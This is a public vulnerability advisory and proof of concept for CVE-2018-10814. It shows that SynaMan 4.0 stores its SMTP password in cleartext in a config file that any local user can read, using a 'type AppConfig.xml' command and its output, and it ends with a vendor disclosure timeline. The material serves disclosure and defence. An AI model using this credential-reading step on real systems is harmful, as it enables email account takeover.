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SynaMan 40 Build 1488 SMTP Credential Disclosure

SynaMan 40 Build 1488 SMTP Credential Disclosure
Posted Sep 11, 2018
Authored by bzyo

SynaMan version 4.0 build 1488 suffers from an SMTP credential disclosure vulnerability.

tags | exploit, info disclosure
advisories | CVE-2018-10814
MD5 | 355d3631ea9f1a7c3b9b33a27d88b656

SynaMan 40 Build 1488 SMTP Credential Disclosure

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# Exploit Author: bzyo
# CVE: CVE-2018-10814
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Cleartext password SMTP settings
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86

Description
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SynaMan 4.0 suffers from cleartext password storage for SMTP settings which would allow email account compromise

Prerequisites
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Access to a system running Synaman 4 using a low-privileged user account

Proof of Concept
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The password for the smtp email account is stored in plaintext in the AppConfig.xml configuration file. This file can be viewed by any local user of the system.

C:\SynaMan\config>type AppConfig.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<parameters>
<parameter name="hasLoggedInOnce" type="4" value="true"></parameter>
<parameter name="adminEmail" type="1" value="test@gmail.com"></parameter>
<parameter name="smtpSecurity" type="1" value="None"></parameter>
**truncated**
<parameter name="smtpPassword" type="1" value="SuperSecret!"></parameter>
<parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
<parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
</parameters>
</Configuration>



Timeline
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05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure


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